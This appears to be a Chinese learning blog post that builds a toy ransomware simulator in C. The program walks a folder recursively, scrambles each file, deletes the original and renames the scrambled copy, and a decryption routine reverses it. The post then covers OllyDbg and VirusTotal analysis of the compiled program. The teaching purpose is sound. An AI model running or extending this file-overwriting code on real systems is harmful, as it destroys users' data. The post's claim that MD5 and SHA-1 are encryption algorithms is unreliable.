勒索病毒中的加解密原理

勒索病毒是一种新型电脑病毒,主要以邮件、程序木马、网页挂马的形式进行传播。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。

现在就用C语言来实现一下系统文件加密及解密功能,简单模拟勒索病毒的加解密原理。

1. 对系统文件进行简单加解密

假设桌面存在如下图所示的文件夹“l30n9ry0n”,我们需要获取其信息再进行文件遍历及加密操作,需要用到操作系统API、加密算法,像勒索病毒一样可以还原文件的,还需要解密算法。

1.在编写一个简单的加密函数前,首先需要创建文件并执行打开、读写操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <malloc.h>
#include <string.h>

//文件加密函数
void jiami(char* fileName)
{
//1.打开文件
FILE* fp = NULL; //文件指针变量
fp = fopen(fileName, "r+"); //打开可读写的文件
if (NULL == fp) {
printf("打开文件失败\n");
return;
}
printf("打开 %s 文件成功!\n", fileName);

//2.获取文件大小

//3.每隔一个字节插入一个字节数据

//4.保存关闭
}

int main()
{
jiami("C:\\Users\\v5le0n9\\Desktop\\l30n9ry0n\\作业.txt");
return 0;
}

2.计算文件大小,查看该文件可知共142字节。

在C代码里的基本流程为:

  • 设置光标(文件指针)到文件末尾
  • 计算光标距离文件头的字节数
  • 设置光标位置到文件头(便于后面的加密操作)
1
2
3
4
5
6
//2.获取文件大小
int size = 0; //文件大小
fseek(fp, 0, SEEK_END); //设置光标到文件末尾
size = ftell(fp); //计算光标位置距离文件头字节数
fseek(fp, 0, SEEK_SET); //设置光标位置到文件头
printf("文件大小为:%d字节!\n", size);

3.循环插入字节实现简单的加密。

如果在进行文件操作时,遇到权限不够的情况下,需要进行相关的提权操作,再进行加密处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
	//获取文件所有内容
char* tmp;
int read_size;
tmp = (char*)malloc((size + 1) * sizeof(char));
read_size = fread(tmp, sizeof(char), size, fp);
tmp[size] = '\0';
//printf("读取字符串为:%s %d %d\n", tmp, read_size, strlen(tmp));

//3.每隔一个字节插入一个字节数据
char ch;
char code = 'a';
char* pTxt;
FILE* fpw = fopen("ddd.txt", "w"); //写入文件
pTxt = (char*)malloc(sizeof(char) * (strlen(tmp) * 2 + 1));

for (int i = size; i >= 0; i--) {
ch = tmp[i];
if (i != 0) {
pTxt[2 * i] = ch;
pTxt[2 * i - 1] = code;
}
else {
pTxt[2 * i] = ch;
}
//printf("%d %c %c\n", i, ch, pTxt[2 * i - 1]);
}
pTxt[size * 2] = '\0';
printf("操作后字符串:%s %d\n", pTxt, strlen(pTxt));
fwrite(pTxt, sizeof(char), size * 2, fpw);

//4.保存关闭
fclose(fp);
fclose(fpw);
return;
}

运行完后在C代码当前目录下生成一个ddd.txt文件,发现一个简单的加密或扰乱完成。

为什么文件显示的字节与计算的字节不一样?对于文本流,因为会执行行末字符映射,所以文本文件的字节数可能和程序写入的字节数不同。基于此,可以用二进制方式读写文件。同时,使用二进制可以读取大型文件如.exe文件、音视频文件等。

4.编写一个遍历文件夹的函数,实现对整个目录进行加密处理。

通常遍历文件夹采用递归,依次遍历某个目录的文件夹,深度搜索文件夹中的内容,如果是文件就加密,如果是文件夹就继续深度搜索,直至找到文件依次返回,从而实现整个目录的文件遍历。

  • 调用GetCurrentDirectory()函数获取当前目录
1
2
3
4
5
6
7
8
9
10
11
#include <windows.h>

int main()
{
//jiami("C:\\Users\\xiuzhang\\Desktop\\文件夹加密\\test.txt");
//获取当前文件夹
char buff[256] = { 0 };
GetCurrentDirectory(256, buff);
printf("当前目录是:%s\n\n", buff);
return 0;
}
  • 调用FindFirstFile()函数获取目录下第一个文件
  • 如果找到第一个文件,则循环调用FindNextFile()函数获取下一个文件
  • 如果找到的是文件夹,则拼接新的文件夹路径继续递归遍历文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{
/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 */

//1.设置要找的文件名 通配符实现
char findFileName[256];
memset(findFileName, 0, 256); //清空数组
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);

//2.获取目录下第一个文件
WIN32_FIND_DATA findData; //定义结构体
HANDLE hFile = FindFirstFile(findFileName, &findData);
//判断返回值等于-1(INVALID_HANDLE_VALUE)
if (INVALID_HANDLE_VALUE == hFile) {
printf("查找文件失败!\n");
return;
}
//如果成功进入死循环继续查找下一个文件
else {
int ret = 1;
char temp[256];
while (ret) {
//如果找到的是个文件夹 则需要继续查找该文件夹内容
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if (findData.cFileName[0] != '.') {
//文件夹拼接=原始路径+新文件夹路径
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件夹:%s\n", temp);
Sleep(1000); //暂停1秒钟
findFile(temp);
}
}
else { //如果是文件 则加密文件
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件:%s\n", temp);

}
//查找下一个文件
ret = FindNextFile(hFile, &findData);
}
}
return;
}

int main()
{
//获取当前文件夹
char buff[256] = { 0 };
GetCurrentDirectory(256, buff);
printf("当前目录是:%s\n\n", buff);

//遍历当前目录下的文件
findFile(buff);

return 0;
}

5.完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

//文件加密函数 参数-文件名字
void jiami(char* fileName, char* pathName)
{
FILE* fp = NULL; //文件指针变量
int size = 0; //文件大小

//打开文件
//注意: 使用二进制打开可以复制大型文件如.exe文件,音频视频文件等
fp = fopen(fileName, "rb"); //打开可读写的文件
if (NULL == fp) {
printf("打开文件失败\n");
return;
}
printf("打开 %s 文件成功!\n", fileName);

//获取文件大小
fseek(fp, 0, SEEK_END); //设置光标到文件末尾
size = ftell(fp); //计算光标位置距离文件头字节数
fseek(fp, 0, SEEK_SET); //设置光标位置到文件头
printf("文件大小为:%d字节!\n", size);

//获取文件所有内容
//在当前目录下构造一个pathName+test路径
char code = 'a';
char ch;
char temp[256];
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, "test");
printf("%s\n", temp);

//创建pathName+test文件
FILE* fpw = fopen(temp, "wb"); //写入文件
while (!feof(fp)) {
ch = fgetc(fp);
fputc(ch, fpw);
fputc(code, fpw);
//printf("%c\n", ch);
}

//保存关闭
fclose(fp);
fclose(fpw);

//替换文件
char commend[1024];
memset(commend, 0, 1024);
sprintf(commend, "del \"%s\"", fileName); //访问路径包含空格增加双引号
printf("%s\n", commend);
system(commend); //执行删除命令
rename(temp, fileName); //调用C语言rename函数重命名文件
printf("\n");
return;
}

//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{
/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 */
//1.设置要找的文件名 通配符实现
char findFileName[256];
memset(findFileName, 0, 256); //清空数组
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);

//2.获取目录下第一个文件
WIN32_FIND_DATA findData; //定义结构体
HANDLE hFile = FindFirstFile(findFileName, &findData);
//判断返回值等于-1(INVALID_HANDLE_VALUE)
if (INVALID_HANDLE_VALUE == hFile) {
printf("查找文件失败!\n");
return;
}
//如果成功进入死循环继续查找下一个文件
else {
int ret = 1;
char temp[256];
while (ret) {
//如果找到的是个文件夹 则需要继续查找该文件夹内容
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if(findData.cFileName[0] != '.') {
//文件夹拼接=原始路径+新文件夹路径
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件夹:%s\n", temp);
Sleep(1000); //暂停1秒钟
findFile(temp);
}
}
else { //如果是文件 则加密文件
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件:%s\n", temp);
//加密文件
jiami(temp, pathName);
}
//查找下一个文件
ret = FindNextFile(hFile, &findData);
}
}
return;
}

int main()
{
char buff[256] = { 0 };
GetCurrentDirectory(256, buff);
printf("当前目录是:%s\n\n", buff);
//加密指定文件夹目录 建议使用虚拟机执行
findFile("C:\\Users\\v5le0n9\\Desktop\\l30n9ry0n");

return 0;
}

可以看到修改日期是今天,创建日期也是今天,因为原本的文件都被删除了。并且文件都加了密,文件文件乱码、图片不能显示、EXE也不能执行。

6.编写解密功能。

当我们中了勒索病毒,就需要解密。在真实环境中,MD5、hash、SHA-1都是比较常用的加密算法。编写解密功能有两种方法:

  • 全部读入内存,修改后重新存入文件
  • 边读边写到另一新建文件,要修改的部分修改后存入新建文件,其它部分原封不动写入,写完删除加密文件,并将这个新文件改为加密文件的名字
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>

//文件加密函数 参数-文件名字
void jiami(char* fileName, char* pathName)
{
FILE* fp = NULL; //文件指针变量
int size = 0; //文件大小

//打开文件
//注意: 使用二进制打开可以复制大型文件如.exe文件,音频视频文件等
fp = fopen(fileName, "rb"); //打开可读写的文件
if (NULL == fp) {
printf("打开文件失败\n");
return;
}
printf("打开 %s 文件成功!\n", fileName);

//获取文件大小
fseek(fp, 0, SEEK_END); //设置光标到文件末尾
size = ftell(fp); //计算光标位置距离文件头字节数
fseek(fp, 0, SEEK_SET); //设置光标位置到文件头
printf("文件大小为:%d字节!\n", size);

//获取文件所有内容
char code = 'a';
char ch;
char temp[256];
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, "test");
printf("%s\n", temp);

FILE* fpw = fopen(temp, "wb"); //写入文件
while (!feof(fp)) {
ch = fgetc(fp);
fputc(ch, fpw);
fputc(code, fpw);
//printf("%c\n", ch);
}
//保存关闭
fclose(fp);
fclose(fpw);

//替换文件
char commend[1024];
memset(commend, 0, 1024);
sprintf(commend, "del \"%s\"", fileName); //访问路径包含空格增加双引号
printf("%s\n", commend);
system(commend);
rename(temp, fileName); //调用C语言rename函数重命名文件
printf("\n");
return;
}

//文件解密函数 参数-文件名字
void jiemi(char* fileName, char* pathName)
{
char ch;
int size = 0; //文件大小
FILE* fp; //打开文件
FILE* fpw; //写入文件
char tmp[1024];

//初始化操作
memset(tmp, 0, 1024);
sprintf(tmp, "%s\\tmp", pathName);
printf("%s\n", tmp);
fp = fopen(fileName, "rb");
fpw = fopen(tmp, "wb");
fseek(fpw, 0, SEEK_SET); //设置光标位置到文件头

//每隔一个字节删除一个字节数据
int i = 0;
while (!feof(fp)) {
ch = fgetc(fp);
if (0 == (i % 2)) { //偶数写入
i = 1;
fputc(ch, fpw);
}
else {
i = 0;
continue;
}
}
fclose(fp);
fclose(fpw);

//替换文件
char commend[1024];
memset(commend, 0, 1024);
sprintf(commend, "del \"%s\"", fileName); //访问路径包含空格增加双引号
printf("%s\n", commend);
system(commend);
rename(tmp, fileName); //调用C语言rename函数重命名文件
printf("\n");
return;
}

//遍历文件夹找到每个文件 参数-文件夹名字
void findFile(char* pathName)
{
/* 禁止加密他人计算机,一定只能对指定目录加密,尤其不能对C盘加密 */
//1.设置要找的文件名 通配符实现
char findFileName[256];
memset(findFileName, 0, 256); //清空数组
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);

//2.获取目录下第一个文件
WIN32_FIND_DATA findData; //定义结构体
HANDLE hFile = FindFirstFile(findFileName, &findData);
//判断返回值等于-1(INVALID_HANDLE_VALUE)
if (INVALID_HANDLE_VALUE == hFile) {
printf("查找文件失败!\n");
return;
}
//如果成功进入死循环继续查找下一个文件
else {
int ret = 1;
char temp[256];
while (ret) {
//如果找到的是个文件夹 则需要继续查找该文件夹内容
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if(findData.cFileName[0] != '.') {
//文件夹拼接=原始路径+新文件夹路径
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件夹:%s\n", temp);
Sleep(1000); //暂停1秒钟
findFile(temp);
}
}
else { //如果是文件 则加密或解密文件
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件:%s\n", temp);
//加密文件
//jiami(temp, pathName);

//解密文件
jiemi(temp, pathName);
}
//查找下一个文件
ret = FindNextFile(hFile, &findData);
}
}
return;
}

int main()
{
char buff[256] = { 0 };
GetCurrentDirectory(256, buff);
printf("当前目录是:%s\n\n", buff);

//加解密指定文件夹目录 建议使用虚拟机执行
findFile("C:\\Users\\v5le0n9\\Desktop\\l30n9ry0n");

return 0;
}

最终结果如下:

除了文本文件其它文件都复原了,这是为什么😓但是复原的文件都比最初始的文件多了2个字节,救命我也不知道为什么,可能是字符\0之类的?

2. OD逆向分析加密PE文件

将上面编写的代码编译成EXE文件,我是拿去32位Win 7系统上编译的,这样编译出来的EXE也是32位,才能加载进OD分析。

1
gcc main.c -o main

载入OD后,右键 -> 查找 -> 当前模块中的名称,查看该EXE调用到了哪些API函数。

选中FindFirstFileA()右键 -> 在每个参考上设置断点,如果在断点窗口没有看到断点,也就是断点没下成功,那就用另一种方法:在CPU窗口右键 -> 查找 -> 所有模块间的调用,找到FindFirstFileA()右键 -> 在每个调用到 FindFirstFileA 上设置断点,找到两处。在断点窗口中选中某一个断点右键 -> 反汇编窗口中跟随,可以查看这条指令上下有什么特别的指令。

运行,第一次断下显示:

第二次断下显示:

继续F7调试发现可以看到参数传递、字符串拼接、睡眠函数等内容,重点是我们要通过call分析进入到加密函数中,然后去分析加密函数里的算法从而实现逆向破解。

在逆向分析的过程中,需要思考几个问题:

  • OD逆向怎么判断恶意样本执行或检测了哪些文件
  • OD逆向怎么判断恶意样本是否具有注册表操作、系统进程获取、屏幕截屏等操作
  • OD逆向怎么判断恶意样本的网络操作,IP地址、邮箱、域名访问请求情况
  • OD逆向怎么判断恶意样本是否具有蠕虫传播感染功能
  • 怎么溯源一个恶意样本

3. 在线沙箱分析

在恶意样本逆向分析中,在线平台给我们提供了强大的支撑,我们拿到一个样本后可以先对其进行在线监测。其操作比较简单,就是将恶意样本上传至指定在线网址即可。常见的在线沙箱分析包括:

以VirusTotal沙箱为例,将我们的main.exe传上去,等待它检测。结果67家安全供应商中只有9家没有将这个文件标记为恶意文件。

我们还可以看到样本的基本信息、文件历史信息以及PE文件节点信息。

如果样本有恶意家族关联,它也能给出相应的信息。